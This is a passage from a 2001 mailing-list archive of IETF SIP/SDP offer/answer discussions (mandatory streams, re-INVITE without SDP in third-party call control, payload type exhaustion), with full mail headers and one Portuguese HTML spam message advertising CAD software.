associate a connection on that port to a particular media description
published in SDP. And guaranteeing a way to do this has proven to be an
insurmoutable problem.

From confctrl-owner  Tue Dec 18 10:40:37 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id KAA23714
	for confctrl-outgoing; Tue, 18 Dec 2001 10:40:37 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id KAA23708
	for <confctrl@zephyr.isi.edu>; Tue, 18 Dec 2001 10:40:35 -0800 (PST)
Received: from mail1.dynamicsoft.com (mail1.dynamicsoft.com [63.113.40.10])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fBIIfNg15812
	for <confctrl@isi.edu>; Tue, 18 Dec 2001 10:41:23 -0800 (PST)
Received: from DYN-EXCH-001.dynamicsoft.com (dyn-exch-001 [63.113.44.7])
	by mail1.dynamicsoft.com (8.12.0.Beta7/8.12.0.Beta7) with ESMTP id fBIId8ES010228;
	Tue, 18 Dec 2001 13:39:08 -0500 (EST)
Received: from dynamicsoft.com (POPE1 [63.113.46.102]) by DYN-EXCH-001.dynamicsoft.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13)
	id ZDFR1JR1; Tue, 18 Dec 2001 13:40:44 -0500
Message-ID: <3C1F8DA9.3070506@dynamicsoft.com>
Date: Tue, 18 Dec 2001 13:40:41 -0500
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:0.9.4) Gecko/20011128 Netscape6/6.2.1
X-Accept-Language: en-us
MIME-Version: 1.0
To: De Leo Walter <deleow@TELEFONICA.COM.AR>
CC: mmusic@ietf.org, confctrl@ISI.EDU
Subject: Re: [Sip] Mandatory and Optional streams in Session Descriptions
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Moving to mmusic, since it relates to offer/answer.

There is no such mechanism defined. Generally the goal is to set up 
communications whenever possible with whatever overlaps.

-Jonathan R.

De Leo Walter wrote:

> Is there any mechanism to mark an m line as mandatory so that if no offered
> codec is supported by the answerer for the mandatory streams the whole
> session is rejected?
> 
> 
> 
> _______________________________________________
> Sip mailing list  http://www1.ietf.org/mailman/listinfo/sip
> This list is for NEW development of the core SIP Protocol
> Use sip-implementors@cs.columbia.edu for questions on current sip
> Use sipping@ietf.org for new developments on the application of sip
> 


-- 
Jonathan Rosenberg, PhD                 72 Eagle Rock Avenue
Chief Scientist                         First Floor
dynamicsoft                             East Hanover, NJ 07936
jdrosen@dynamicsoft.com                 FAX: (973) 952-5050
http://www.jdrosen.net                  PH: (973) 952-5000
http://www.dynamicsoft.com


From confctrl-owner  Tue Dec 18 11:50:37 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id LAA26309
	for confctrl-outgoing; Tue, 18 Dec 2001 11:50:37 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id LAA26304
	for <confctrl@zephyr.isi.edu>; Tue, 18 Dec 2001 11:50:36 -0800 (PST)
Received: from rtp-msg-core-1.cisco.com (rtp-msg-core-1.cisco.com [161.44.11.97])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fBIJpOg24756
	for <confctrl@ISI.EDU>; Tue, 18 Dec 2001 11:51:24 -0800 (PST)
Received: from cannon.cisco.com (localhost [127.0.0.1])
	by rtp-msg-core-1.cisco.com (8.11.3/8.9.1) with ESMTP id fBIJpOs09278;
	Tue, 18 Dec 2001 14:51:24 -0500 (EST)
Received: from cisco.com (dhcp-161-44-241-140.cisco.com [161.44.241.140])
	by cannon.cisco.com (Mirapoint)
	with ESMTP id AAH03268 (AUTH pkyzivat);
	Tue, 18 Dec 2001 14:52:40 -0500 (EST)
Message-ID: <3C1F9D40.7666DCF9@cisco.com>
Date: Tue, 18 Dec 2001 14:47:12 -0500
From: Paul Kyzivat <pkyzivat@cisco.com>
X-Mailer: Mozilla 4.76 [en]C-CCK-MCD   (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
CC: De Leo Walter <deleow@TELEFONICA.COM.AR>, mmusic@ietf.org,
        confctrl@ISI.EDU
Subject: Re: [Sip] Mandatory and Optional streams in Session Descriptions
References: <3C1F8DA9.3070506@dynamicsoft.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

However, there appears to be a common behavior to refuse calls when no
media can be negotiated. While media-less calls are legal, they don't
seem to be popular. Even this isn't necessarily a good thing. It might
be better to accept a media-less call and let the endpoint that made the
offer decide what to do; perhaps there is a useful reinvite to recover.

Not clear to me to what extent this kind of behavior should be specified
vs left as implementation choice. 

	Paul

Jonathan Rosenberg wrote:
> 
> Moving to mmusic, since it relates to offer/answer.
> 
> There is no such mechanism defined. Generally the goal is to set up
> communications whenever possible with whatever overlaps.
> 
> -Jonathan R.
> 
> De Leo Walter wrote:
> 
> > Is there any mechanism to mark an m line as mandatory so that if no offered
> > codec is supported by the answerer for the mandatory streams the whole
> > session is rejected?
> >
> >
> >
> > _______________________________________________
> > Sip mailing list  http://www1.ietf.org/mailman/listinfo/sip
> > This list is for NEW development of the core SIP Protocol
> > Use sip-implementors@cs.columbia.edu for questions on current sip
> > Use sipping@ietf.org for new developments on the application of sip
> >
> 
> --
> Jonathan Rosenberg, PhD                 72 Eagle Rock Avenue
> Chief Scientist                         First Floor
> dynamicsoft                             East Hanover, NJ 07936
> jdrosen@dynamicsoft.com                 FAX: (973) 952-5050
> http://www.jdrosen.net                  PH: (973) 952-5000
> http://www.dynamicsoft.com

From confctrl-owner  Tue Dec 18 20:15:05 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id UAA14389
	for confctrl-outgoing; Tue, 18 Dec 2001 20:15:05 -0800 (PST)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id UAA14374
	for <confctrl@zephyr.isi.edu>; Tue, 18 Dec 2001 20:15:03 -0800 (PST)
Received: from comcad.com.br (MG015138.user.veloxzone.com.br [200.165.15.138] (may be forged))
	by gamma.isi.edu (8.11.6/8.11.2) with SMTP id fBJ4FeH25877
	for <confctrl@isi.edu>; Tue, 18 Dec 2001 20:15:42 -0800 (PST)
Message-Id: <200112190415.fBJ4FeH25877@gamma.isi.edu>
From: "ComCAD" <comcad@comcad.com.br>
To: <confctrl@ISI.EDU>
Subject: 
Mime-Version: 1.0
Content-Type: text/html; charset="ISO-8859-1"
Date: Wed, 19 Dec 2001 02:17:58 -0200
X-Priority: 1 (Highest)
Content-Transfer-Encoding: 8bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

<html>

<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
<meta name="GENERATOR" content="Microsoft FrontPage 4.0">
<meta name="ProgId" content="FrontPage.Editor.Document">
<title>Att</title>
</head>

<body>

<div align="center">
  <table border="0" cellPadding="5" height="488" width="750">
    <tbody>
      <tr>
        <td align="middle" bgColor="#ffffff" colSpan="2" height="20" width="1150">
          <div align="center">
            <center>
            <table border="0" width="100%" cellspacing="0" cellpadding="0">
              <tr>
                <td width="300" valign="bottom"><b><font face="Verdana" size="3"
color="#000000">Att: Departamento de
        Engenharia</font></b></td>

<font color="#0000ff" face="Arial" size="2">
<td width="33%"></td>
<td width="100">

<font color="#0000ff" face="Arial" size="2"><b><font face="Verdana" size="3"><img border="0"
src="http://www.comcad.com.br/IMAGES/bfestas1.jpg" align="right" width="83" height="79"></font></b>
</font>

</td>
                </tr>
              </table>
            </center>
            </div>
          </font>
        </td>
      </tr>
      <center>
      <tr>
        <td align="middle" bgColor="#800080" colSpan="2" height="40" width="1150"><b><span
style="BACKGROUND-ATTACHMENT: scroll; BACKGROUND-POSITION: 0% 50%; BACKGROUND-REPEAT:
repeat"><font color="#ffffff" face="Arial" size="4">IntelliCAD
          – A ferramenta CAD ideal para sua empresa.<br>
          </font><font color="#ffff00" face="Arial" size="2">Software SIMILAR ao
          AutoCAD (utiliza os mesmos comandos) e até 90% mais barato</font></span></b></td>
      </tr>
      <tr>
        <td align="middle" colSpan="2" height="109" vAlign="top" width="1150">
          <div align="center">
            <table border="0" cellPadding="0" cellSpacing="0" width="100%">
              <tbody>
                <tr>
                  <td width="33%">
                    <p align="center"><a href="http://www.comcad.com.br/soft_intelicad.htm"
target="_blank"><img border="0" src="http://www.comcad.com.br/IMAGES/log_Inte2001.gif" width="200"
height="59"></a></p>
                  </td>
                  <td width="33%">
                    <p align="center"><a href="http://www.comcad.com.br/tela_intelliplus.htm"
target="_blank"><img border="0" height="104"
src="http://www.comcad.com.br/images/tela_intelliplus150.gif" width="150"></a></p>
                  </td>
                  <td width="34%">
                    <p align="center"><a href="http://www.comcad.com.br/soft_intelliplus.htm"
target="_blank"><img border="0" height="50"
src="http://www.comcad.com.br/images/log_intelliplus2.gif" width="192"></a></p>
                  </td>
                </tr>
              </tbody>
            </table>
          </div>
        </td>
      </tr>
      <tr>
        <td align="middle" bgColor="#f0f0f0" colSpan="2" height="18" width="1150">
          <p align="center"><b><font color="#0000ff" face="Arial" size="2">| <a
href="http://www.comcad.com.br/index.html" target="_blank">ComCAD</a>
          | <a href="http://www.intellicad.com.br/" target="principal" initstyle>IntelliCAD</a>
          | <a href="http://www.comcad.com.br/faleconosco.HTM">Fale Conosco</a>
          |</font></b></p>
        </td>
      </tr>
      <tr>
        <td align="middle" bgColor="#800080" colSpan="2" height="18" width="1150"><b><font
color="#ffffff" face="Verdana" size="2">Fique
          por dentro das últimas novidades do mercado CAD / PDM / VETORIZAÇÃO</font></b></td>
      </tr>
      <tr>
        <td align="right" bgColor="#ffcc00" height="18" width="250"><b><font color="#000000"
face="Arial, sans-serif" size="2">Notícias</font></b></td>
        <td bgColor="#f0f0f0" height="18" width="900"><font color="#000000" face="Verdana"
size="2">Nova
          atualização do <b>IntelliCAD</b> 2001 by RC/Task&nbsp;</font><font face="Verdana"
size="2"><font color="#000000">e lançamento do </font><b><font
color="#000000">IntelliPLUS</font></b><font color="#000000">.&nbsp;<br>
          </font><a href="http://www.comcad.com.br/noticias_intellicad.htm"><font
color="#0000ff">leia
          mais</font></a></font></td>
      </tr>
      <tr>
        <td align="right" bgColor="#ffcc00" height="34" width="250"><b><font color="#000000"
face="Arial, sans-serif" size="2">Promoções</font></b></td>
        <td bgColor="#f0f0f0" height="34" width="900"><font face="Verdana" size="2"><font
color="#000000">Adquira
          já o seu <b>IntelliCAD</b> por <span style="FONT-SIZE: 10pt; mso-bidi-font-size:
12.0pt">aproximadamente
          10% do preço do <b>AutoCAD</b></span>.</font>&nbsp;<a
href="http://www.comcad.com.br/promocoes.htm"><font color="#0000ff"><br>
          leia mais</font></a></font></td>
      </tr>
      <tr>
        <td align="right" bgColor="#ffcc00" height="18" width="250"><b><font color="#000000"
face="Arial, sans-serif" size="2">Treinamento</font></b></td>
        <td bgColor="#f0f0f0" height="18" width="900"><font face="Verdana" size="2"><font
color="#000000">Oferecemos
          treinamento em diversos softwares. </font><a
href="http://www.comcad.com.br/treinamento.htm"><font color="#0000ff">leia
          mais</font></a></font></td>
      </tr>
      <tr>
        <td align="right" bgColor="#ffcc00" height="18" width="250"><b><font color="#000000"
face="Arial, sans-serif" size="2">Cases</font></b></td>
        <td bgColor="#f0f0f0" height="18" width="900"><font face="Verdana" size="2"><font
color="#000000">Experiências
          comprovadas de produtividade. </font><a
href="http://www.comcad.com.br/cases_intellicad.htm"><font color="#0000ff">leia
          mais</font></a></font></td>
      </tr>
      <tr>
        <td align="right" bgColor="#ffcc00" height="18" width="250"><b><font color="#000000"
face="Arial, sans-serif" size="2">Dicas</font></b></td>
        <td bgColor="#f0f0f0" height="18" width="900"><font face="Verdana" size="2"><font
color="#000000">Dicas
          de software e hardware. </font><a
href="http://www.comcad.com.br/dicas_intellicad.htm"><font color="#0000ff">leia
          mais</font></a></font></td>
      </tr>
      <tr>
        <td align="right" bgColor="#ffcc00" height="18" width="250"><b><font color="#000000"
face="Arial, sans-serif" size="2">Fórum</font></b></td>
        <td bgColor="#f0f0f0" height="18" width="900"><font face="Verdana" size="2"><font
color="#000000">Troque
          experiências com usuários <b>IntelliCAD</b>. </font><a
href="http://www.forumnow.com/basic/foruns.asp?forum=52450"><font color="#0000ff">leia
          mais</font></a></font></td>
      </tr>
      <tr>
        <td align="right" bgColor="#ffcc00" height="21" width="250"><b><font color="#000000"
face="Arial, sans-serif" size="2">Prestação
          de Serviços</font></b></td>
        <td bgColor="#f0f0f0" height="21" width="900"><font face="Verdana" size="2"><font
color="#000000">Modelamento
          3D, análise de engenharia,</font>  </font>

        <font face="Verdana" size="2" color="#000000"> programa NC e consultoria.</font>

<font color="#0000ff" face="Arial" size="2"><font face="Verdana" size="2"><font color="#000000">
          </font><a href="http://www.comcad.com.br/SERVICOS.HTM"><font color="#0000ff">leia
          mais</font></a></font></font></td>
      </tr>
      <tr>
        <td align="right" bgColor="#ffcc00" height="34" width="250"><b><font color="#000000"
face="Arial, sans-serif" size="2">Demonstrações</font></b></td>

        <td bgColor="#f0f0f0" height="34" width="900"><font face="Verdana" size="2"
color="#000000">Toda
          sexta-feira a partir das 14:00 h demonstração grátis do <b>IntelliCAD</b>.&nbsp;<br>
          Entre em contato, previamente, com a <a
href="mailto:comcad@comcad.com.br"><b>ComCAD</b></a>
          para confirmação de presença.</font></td>
      </tr>

<font color="#0000ff" face="Arial" size="2">
      <tr>
        <td align="right" bgColor="#ffcc00" height="34" width="200"><b><font color="#000000"
face="Verdana" size="2">Divulgação
          de Sites</font></b></td>
</font>

        <td bgColor="#f0f0f0" height="34" width="900"><font face="Verdana" size="2"
color="#000000"><font face="Verdana" size="2">Abra
          o seu site para o mundo (inclusão em a</font>té
          <strong>1200 sites de busca</strong>) por apenas</font><font face="Arial" size="2">

<font color="#0000ff" face="Arial" size="2"><font face="Verdana" size="2"> </font><font
color="#ff0000" face="Verdana" size="2"><strong>R$99,00</strong></font><font color="#000080"
face="Verdana" size="2">
 </font>
</font>

          </font>

<font color="#000000" face="Arial" size="2"><font face="Verdana" size="2">
          (Promoção).</font>
</font>

<font color="#0000ff" face="Arial" size="2"><font color="#000080" face="Verdana" size="2">
          </font><font face="Arial" size="2"><a href="http://www.comcad.com.br/divulgaweb.htm"
target="_blank"><font color="#0000ff" face="Verdana" size="2">leia
          mais</font></a></font></font></td>
      </tr>
      </tbody>
    </table>
  </center>
</div>
<div align="center">
  <center>
  <table border="0" cellPadding="3" cellSpacing="0" height="39" width="750">
    <tbody>
      <tr>
        <td bgColor="#c0c0c0" height="33" width="100%">
          <p align="center"><font size="1"><font color="#000000" face="Arial">Obrigado
          por ler esta mensagem.</font> <font color="#000000" face="Arial" size="1">Se
          você não desejar mais recebê-la, por favor clique aqui: </font><a
href="http://www.comcad.com.br/RemoveNewsIntellRecord.asp"><font color="#0000ff" face="Arial"
size="1">Remover<br>
          </font></a><font color="#000000" face="Arial">Vocë deseja enviar esse
          NEWS para um amigo? </font><u><font color="#0000ff" face="Arial"><a
href="http://www.comcad.com.br/EnviarAmigosLink.asp">Clique
          aqui</a></font></u></font></p>
        </td>
      </tr>
    </tbody>
  </table>
  </center>
</div>

</body>

</html>

From confctrl-owner  Tue Dec 18 23:11:49 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id XAA20314
	for confctrl-outgoing; Tue, 18 Dec 2001 23:11:49 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id XAA20309
	for <confctrl@zephyr.isi.edu>; Tue, 18 Dec 2001 23:11:47 -0800 (PST)
Received: from mail1.dynamicsoft.com (mail1.dynamicsoft.com [63.113.40.10])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fBJ7Cag28463
	for <confctrl@ISI.EDU>; Tue, 18 Dec 2001 23:12:36 -0800 (PST)
Received: from DYN-EXCH-001.dynamicsoft.com (dyn-exch-001 [63.113.44.7])
	by mail1.dynamicsoft.com (8.12.0.Beta7/8.12.0.Beta7) with ESMTP id fBJ79jES014607;
	Wed, 19 Dec 2001 02:09:45 -0500 (EST)
Received: from dynamicsoft.com (POPE1 [63.113.46.102]) by DYN-EXCH-001.dynamicsoft.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13)
	id ZDFR1LG6; Wed, 19 Dec 2001 02:11:20 -0500
Message-ID: <3C203D98.6010203@dynamicsoft.com>
Date: Wed, 19 Dec 2001 02:11:20 -0500
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:0.9.4) Gecko/20011128 Netscape6/6.2.1
X-Accept-Language: en-us
MIME-Version: 1.0
To: Paul Kyzivat <pkyzivat@cisco.com>
CC: "'Flemming Andreasen'" <fandreas@cisco.com>,
        Henning Schulzrinne <schulzrinne@cs.columbia.edu>,
        MMUSIC <confctrl@ISI.EDU>, sip@ietf.org
Subject: Re: Comments on <draft-rosenberg-mmusic-sdp-offer-answer-00.txt>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This looks like another open issue in sip.
Let us try to resolve it swiftly.

Responses inline.

Paul Kyzivat wrote:


>>>-----Original Message-----
>>>From: Paul Kyzivat [mailto:pkyzivat@cisco.com]
>>>Sent: Thursday, December 06, 2001 11:26 AM
>>>To: Jonathan Rosenberg
>>>Cc: 'Flemming Andreasen'; Henning Schulzrinne; MMUSIC
>>>Subject: Re: Comments on
>>><draft-rosenberg-mmusic-sdp-offer-answer-00.txt>
>>>
>>>
>>>
>>>
>>>Jonathan Rosenberg wrote:
>>>
>>>>This did require the movement of one paragraph from this
>>>>
>>>draft back into
>>>
>>>>bis:
>>>>
>>>>This means that a
>>>>re-{\INVITE} {\MAY} contain no SDP, so that the 200 OK to the
>>>>re-{\INVITE} contains the offer. In this case, the
>>>>offerer {\MUST} offer the same SDP it provided previously.
>>>>
>>>This is to
>>>
>>>>ensure that the offered SDP in the 2xx will be acceptable
>>>>
>>>to the UAC,
>>>
>>>>as there is no way to reject it.
>>>>
>>>>This will appear in bis-06.
>>>>
>>>I think this constraint is too strong.
>>>
>>We had formerly agreed to it in sip (with the additional flexibility that
>>you can change the IP address/port).
>>
> 
> Just because it was agreed to doesn't mean it was right.


No, but you can understand that I am trying to generally continue forwards.

That said, I will reopen it. Its bug 58.


> 
> 
>>>Consider:
>>>
>>>      A                   B
>>>        |   INVITE(sdp)     |  offers codecs X,Y
>>>        |------------------>|
>>>        |      OK(sdp)      |  accepts X, not Y,
>>>        |<------------------|  would have accepted Z if offered
>>>        |      ACK          |
>>>        |------------------>|
>>>        |   INVITE(no sdp)  |
>>>        |------------------>|
>>>        |      OK(sdp)      |  should be able to offer X,Z
>>>        |<------------------|
>>>        |      ACK (sdp)    |
>>>        |------------------>|
>>>
>>>In this standalone case, it probably isn't likely that A will be
>>>interested in Z the second time if it wasn't the first time.
>>>But if A is
>>>a B2BUA, it might be preparing to involve another party that is very
>>>interested in Z.
>>>
>>OK, but in this case it would be a new dialog for the new party, so that you
>>would have no previous sdp.
>>
> 
> I was suggesting that A is a B2BUA bridging between a party C not shown
> above and B. A then decides to replace C with a different one D. So
> there is a new dialog with D, but the dialog between A and B remains.
> Something like the following:
> 
> C                   A                   B
> |   INVITE(sdp)     |                   |  offers codecs X,Y
> |------------------>|                   |
> |                   |   INVITE(sdp)     |  offers codecs X,Y
> |                   |------------------>|
> |                   |      OK(sdp)      |  accepts X, not Y; would
> |                   |<------------------|  have accepted Z if offered
> |                   |      ACK          |
> |    OK(sdp)        |------------------>|  
> |<------------------|                   |  accepts X, not Y
> |    ACK            |                   |
> |------------------>|                   |
>                     |                   |
> D                   |                   |  prepare to xfer to D
> |                   |   INVITE(no sdp)  |
> |                   |------------------>|
> |                   |      OK(sdp)      |  can only offer X
> |                   |<------------------|  (should offer Z too)
> |   INVITE(sdp)     |                   |  "
> |<------------------|                   |
> |   488             |                   |  Fails - D can only do
> |------------------>|                   |  Y & Z, not X.
> 
> //
> 
> |   OK(sdp)         |                   |  If X,Z had been offered
> |------------------>|                   |  would accept Z
> |                   |      ACK (sdp)    |
> |                   |------------------>|  then all is well
>  
> 
> This is too simplistic for a practical call flow, but it makes the
> point.


OK, I see the point. It is a good one.

Generally, I think the problem is this. When using 3pcc, the controller 
wants to connect an existing user to a new user. To do this, it sends a 
re-invite w/o sdp to the existing user, to solicit its SDP in order to 
include it in an invite to a new user. Effectively, this is a new 
session, even though its a re-invite for the existing participant. Thus, 
you want the typical behavior for a new INVITE, which is to send as much 
as you know.

Now, whats interesting is this. The reason we specified that the UA 
should return the last SDP it used, is to maximize the probability that 
this SDP is acceptable. However, in the 3pcc case, even if the  is 
bitwise identical, there are no guarantees. The existing call could be 
audio, the the controller is trying to connect the user to a video-only 
server. Not going to work with the existing SDP.

In these cases, the controller would need to ACK the 2xx from the 
existing user and then BYE.

So, what we need to do is specify that the UA ought to return an SDP 
which is as broad as possible, but still should be acceptable to the 
peer in the case its not 3pcc going on (although I can't think of any 
non-3pcc cases for a mid-dialog re-invite w/o SDP). THis would include:

1. change in IP/port is OK
2. should add as many more codecs as you can, but there must be overlap 
with the previous SDP
3. can add media lines, but must at least be overlapping in a stream 
with the previous sdp

So, there are some issues here. First, we are trying to "guess" what 
changes in SDP would always be acceptable to an existing peer. Since 
whether an SDP is acceptable or not is a matter of local policy, its 
really hard to say. Second, would we need to specify rules for each and 
every parameter in the SDP? Seems like the wrong direction.

Perhaps the best we can do is leave the selection of the SDP up to the 
UA, but provide guidelines. Basically, something like:

1. offer an SDP which has a good chance of being acceptable to the 
existing peer,
2. make the SDP as broad as possible since this could be 3pcc, and you 
don't know what they can do

Thoughts?

-Jonathan R.
-- 
Jonathan Rosenberg, PhD                 72 Eagle Rock Avenue
Chief Scientist                         First Floor
dynamicsoft                             East Hanover, NJ 07936
jdrosen@dynamicsoft.com                 FAX: (973) 952-5050
http://www.jdrosen.net                  PH: (973) 952-5000
http://www.dynamicsoft.com


From confctrl-owner  Tue Dec 18 23:29:14 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id XAA21077
	for confctrl-outgoing; Tue, 18 Dec 2001 23:29:14 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id XAA21065
	for <confctrl@zephyr.isi.edu>; Tue, 18 Dec 2001 23:29:11 -0800 (PST)
Received: from mail1.dynamicsoft.com (mail1.dynamicsoft.com [63.113.40.10])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fBJ7Txg01427
	for <confctrl@isi.edu>; Tue, 18 Dec 2001 23:29:59 -0800 (PST)
Received: from DYN-EXCH-001.dynamicsoft.com (dyn-exch-001 [63.113.44.7])
	by mail1.dynamicsoft.com (8.12.0.Beta7/8.12.0.Beta7) with ESMTP id fBJ7RmES014685;
	Wed, 19 Dec 2001 02:27:48 -0500 (EST)
Received: from dynamicsoft.com (POPE1 [63.113.46.102]) by DYN-EXCH-001.dynamicsoft.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13)
	id ZDFR1LHZ; Wed, 19 Dec 2001 02:29:23 -0500
Message-ID: <3C2041D2.2030908@dynamicsoft.com>
Date: Wed, 19 Dec 2001 02:29:22 -0500
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:0.9.4) Gecko/20011128 Netscape6/6.2.1
X-Accept-Language: en-us
MIME-Version: 1.0
To: mmusic@ietf.org, confctrl@ISI.EDU
Subject: resolving open issues in offer/answer
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Folks,

I want to try and move swiftly towards closure of the open issues in 
offer/answer. I presented slides at IETF 52 on these issues, which you 
can pick up from:

http://www.jdrosen.net/ietf/52/mmusic_open_dec01.ppt

I want to summarize the issues, and their resolutions, and make sure 
there is consensus. Also, I am having second thoughts on one of them.

ISSUE 1: Allow for changes in the media stream type. There was consensus 
that the answer was yes, which is consistent with the sip wg resolution 
to allow for reuse of zeroed SDP. The text would also note that such 
changes are really for cases where the different media type represents 
the same logical stream, as in the fax/g711 case.

ISSUE 2: Be prepared to send&recv on bidirectional stream when you send 
the SDP. Consensus to update text to indicate that you need to be 
prepared to both send and receive.

ISSUE 3: Multiple streams of the same type. See the slides for the 
issue. My proposal was accepted, with the caveat that we would add 
wording to clarify that the default operation is NOT to copy media from 
your own local sinks to sources, unless you happen to be a conference 
server.

ISSUE 4: synchronizing codec changes. The agreement at the meeting was a 
third proposal. Whenever you send a new offer with a set of codecs which 
  is not the same as the previous, and overlaps in some way, you 
basically use a new dynamic PT for each codec. THis way, when the UA 
receives media with one of those new PT, it can unload any of the codecs 
which no longer overlap.

Since the meeting, I have become worried about this. Basically, any 
useful reinvite will require new dynamic PT for all codecs. You could 
very well exhaust the set of dynamic PT, since there are so few (127 of 
them).

Some other ideas:

1. change the ssrc when you send with the new codec set. The receiver 
can drop uneeded codecs when it sees the new ssrc. This only works for 
unicast.

2. change in set of codecs has to also be accompanied by a port change; 
when you see data on the new port, you can unload any unneeded codecs.



ISSUE 5: Unidirectional codecs in a bidirectional stream. Consensus was 
to disallow this in the baseline offer/answer. Thats what FID is for.
Anything else is a hack.



Please raise any concerns on these resolutions asap.

THanks,
Jonathan R.
-- 
Jonathan Rosenberg, PhD                 72 Eagle Rock Avenue
Chief Scientist                         First Floor
dynamicsoft                             East Hanover, NJ 07936
jdrosen@dynamicsoft.com                 FAX: (973) 952-5050
http://www.jdrosen.net                  PH: (973) 952-5000
http://www.dynamicsoft.com


From confctrl-owner  Wed Dec 19 07:28:20 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id HAA07423
	for confctrl-outgoing; Wed, 19 Dec 2001 07:28:20 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id HAA07418
	for <confctrl@zephyr.isi.edu>; Wed, 19 Dec 2001 07:28:19 -0800 (PST)
Received: from purple.nge.isi.edu (reserved.east.isi.edu [65.114.168.32])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fBJFT6g13570
	for <confctrl@ISI.EDU>; Wed, 19 Dec 2001 07:29:06 -0800 (PST)
Received: from purple.nge.isi.edu (csp@localhost)
	by purple.nge.isi.edu (8.11.6/8.11.6) with ESMTP id fBJFS6f01833;
	Wed, 19 Dec 2001 10:28:06 -0500
Message-Id: <200112191528.fBJFS6f01833@purple.nge.isi.edu>
To: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
cc: mmusic@ietf.org, confctrl@ISI.EDU
Subject: Re: [MMUSIC] resolving open issues in offer/answer 
In-Reply-To: Your message of "Wed, 19 Dec 2001 02:29:22 EST."
             <3C2041D2.2030908@dynamicsoft.com> 
Date: Wed, 19 Dec 2001 10:28:05 -0500
From: Colin Perkins <csp@ISI.EDU>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--> Jonathan Rosenberg writes:
>Folks,
>
>I want to try and move swiftly towards closure of the open issues in 
>offer/answer. I presented slides at IETF 52 on these issues, which you 
>can pick up from:
>
>http://www.jdrosen.net/ietf/52/mmusic_open_dec01.ppt
>
>I want to summarize the issues, and their resolutions, and make sure 
>there is consensus. Also, I am having second thoughts on one of them.
>
>ISSUE 1: Allow for changes in the media stream type. There was consensus 
>that the answer was yes, which is consistent with the sip wg resolution 
>to allow for reuse of zeroed SDP. The text would also note that such 
>changes are really for cases where the different media type represents 
>the same logical stream, as in the fax/g711 case.
>
>ISSUE 2: Be prepared to send&recv on bidirectional stream when you send 
>the SDP. Consensus to update text to indicate that you need to be 
>prepared to both send and receive.
>
>ISSUE 3: Multiple streams of the same type. See the slides for the 
>issue. My proposal was accepted, with the caveat that we would add 
>wording to clarify that the default operation is NOT to copy media from 
>your own local sinks to sources, unless you happen to be a conference 
>server.
>
>ISSUE 4: synchronizing codec changes. The agreement at the meeting was a 
>third proposal. Whenever you send a new offer with a set of codecs which 
>  is not the same as the previous, and overlaps in some way, you 
>basically use a new dynamic PT for each codec. THis way, when the UA 
>receives media with one of those new PT, it can unload any of the codecs 
>which no longer overlap.
>
>Since the meeting, I have become worried about this. Basically, any 
>useful reinvite will require new dynamic PT for all codecs. You could 
>very well exhaust the set of dynamic PT, since there are so few (127 of 
>them).

I don't see why this will be an issue, unless you have many (>64) codecs in
use in a single session. Is that likely to be common?

Colin

From confctrl-owner  Wed Dec 19 10:20:57 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id KAA13449
	for confctrl-outgoing; Wed, 19 Dec 2001 10:20:57 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id KAA13444
